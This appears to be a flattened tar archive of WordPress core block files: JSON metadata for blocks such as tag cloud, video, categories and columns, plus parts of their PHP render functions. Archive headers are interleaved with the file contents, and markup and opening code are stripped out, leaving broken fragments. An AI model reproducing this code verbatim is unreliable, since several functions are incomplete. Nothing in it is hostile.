false } }, "supports": { "align": true, "html": false } } tag-cloud.php000064400000002623150327363650007151 0ustar00 false, 'taxonomy' => $attributes['taxonomy'], 'show_count' => $attributes['showTagCounts'], ); $tag_cloud = wp_tag_cloud( $args ); if ( ! $tag_cloud ) { $labels = get_taxonomy_labels( get_taxonomy( $attributes['taxonomy'] ) ); $tag_cloud = esc_html( sprintf( /* translators: %s: taxonomy name */ __( 'Your site doesn’t have any %s, so there’s nothing to display here at the moment.' ), strtolower( $labels->name ) ) ); } return sprintf( '

    %2$s

    ', esc_attr( $class ), $tag_cloud ); } /** * Registers the `core/tag-cloud` block on server. */ function register_block_core_tag_cloud() { register_block_type_from_metadata( __DIR__ . '/tag-cloud', array( 'render_callback' => 'render_block_core_tag_cloud', ) ); } add_action( 'init', 'register_block_core_tag_cloud' ); social-links/block.json000064400000000257150327363650011137 0ustar00{ "name": "core/social-links", "category": "widgets", "supports": { "align": [ "left", "center", "right" ], "lightBlockWrapper": true, "anchor": true } } quote/block.json000064400000000563150327363650007704 0ustar00{ "name": "core/quote", "category": "text", "attributes": { "value": { "type": "string", "source": "html", "selector": "blockquote", "multiline": "p", "default": "" }, "citation": { "type": "string", "source": "html", "selector": "cite", "default": "" }, "align": { "type": "string" } }, "supports": { "anchor": true } } columns/block.json000064400000000475150327363650010231 0ustar00{ "name": "core/columns", "category": "design", "attributes": { "verticalAlignment": { "type": "string" } }, "supports": { "anchor": true, "align": [ "wide", "full" ], "html": false, "lightBlockWrapper": true, "__experimentalColor": { "gradients": true, "linkColor": true } } } video/block.json000064400000002346150327363650007656 0ustar00{ "name": "core/video", "category": "media", "attributes": { "autoplay": { "type": "boolean", "source": "attribute", "selector": "video", "attribute": "autoplay" }, "caption": { "type": "string", "source": "html", "selector": "figcaption" }, "controls": { "type": "boolean", "source": "attribute", "selector": "video", "attribute": "controls", "default": true }, "id": { "type": "number" }, "loop": { "type": "boolean", "source": "attribute", "selector": "video", "attribute": "loop" }, "muted": { "type": "boolean", "source": "attribute", "selector": "video", "attribute": "muted" }, "poster": { "type": "string", "source": "attribute", "selector": "video", "attribute": "poster" }, "preload": { "type": "string", "source": "attribute", "selector": "video", "attribute": "preload", "default": "metadata" }, "src": { "type": "string", "source": "attribute", "selector": "video", "attribute": "src" }, "playsInline": { "type": "boolean", "source": "attribute", "selector": "video", "attribute": "playsinline" } }, "supports": { "anchor": true, "align": true, "lightBlockWrapper": true } } tag-cloud/block.json000064400000000646150327363650010430 0ustar00{ "name": "core/tag-cloud", "category": "widgets", "attributes": { "align": { "type": "string", "enum": [ "left", "center", "right", "wide", "full" ] }, "className": { "type": "string" }, "taxonomy": { "type": "string", "default": "post_tag" }, "showTagCounts": { "type": "boolean", "default": false } }, "supports": { "html": false, "align": true } } categories.php000064400000005021150327363650007412 0ustar00 false, 'hierarchical' => ! empty( $attributes['showHierarchy'] ), 'orderby' => 'name', 'show_count' => ! empty( $attributes['showPostCounts'] ), 'title_li' => '', ); if ( ! empty( $attributes['displayAsDropdown'] ) ) { $id = 'wp-block-categories-' . $block_id; $args['id'] = $id; $args['show_option_none'] = __( 'Select Category' ); $wrapper_markup = '
    %2$s
    '; $items_markup = wp_dropdown_categories( $args ); $type = 'dropdown'; if ( ! is_admin() ) { $wrapper_markup .= build_dropdown_script_block_core_categories( $id ); } } else { $wrapper_markup = ''; $items_markup = wp_list_categories( $args ); $type = 'list'; } $class = "wp-block-categories wp-block-categories-{$type}"; if ( isset( $attributes['align'] ) ) { $class .= " align{$attributes['align']}"; } if ( isset( $attributes['className'] ) ) { $class .= " {$attributes['className']}"; } return sprintf( $wrapper_markup, esc_attr( $class ), $items_markup ); } /** * Generates the inline script for a categories dropdown field. * * @param string $dropdown_id ID of the dropdown field. * * @return string Returns the dropdown onChange redirection script. */ function build_dropdown_script_block_core_categories( $dropdown_id ) { ob_start(); ?> 'render_block_core_categories', ) ); } add_action( 'init', 'register_block_core_categories' ); categories/block.json000064400000000761150327363650010674 0ustar00{ "name": "core/categories", "category": "widgets", "attributes": { "align": { "type": "string", "enum": [ "left", "center", "right", "wide", "full" ] }, "className": { "type": "string" }, "displayAsDropdown": { "type": "boolean", "default": false }, "showHierarchy": { "type": "boolean", "default": false }, "showPostCounts": { "type": "boolean", "default": false } }, "supports": { "align": true, "html": false } } preformatted/block.json000064400000000431150327363650011235 0ustar00{ "name": "core/preformatted", "category": "text", "attributes": { "content": { "type": "string", "source": "html", "selector": "pre", "default": "", "__unstablePreserveWhiteSpace": true } }, "supports": { "anchor": true, "lightBlockWrapper": true } } block/block.json000064400000000277150327363650007643 0ustar00{ "name": "core/block", "category": "reusable", "attributes": { "ref": { "type": "number" } }, "supports": { "customClassName": false, "html": false, "inserter": false } } buttons/block.json000064400000000233150327363660010240 0ustar00{ "name": "core/buttons", "category": "design", "supports": { "anchor": true, "align": true, "alignWide": false, "lightBlockWrapper": true } } column/block.json000064400000000501150327363660010035 0ustar00{ "name": "core/column", "category": "text", "parent": [ "core/columns" ], "attributes": { "verticalAlignment": { "type": "string" }, "width": { "type": "number", "min": 0, "max": 100 } }, "supports": { "anchor": true, "reusable": false, "html": false, "lightBlockWrapper": true } } index.php000064400000002757150327363660006412 0ustar00m5spacer/block.json000064400000000244150327363670010022 0ustar00{ "name": "core/spacer", "category": "design", "attributes": { "height": { "type": "number", "default": 100 } }, "supports": { "anchor": true } }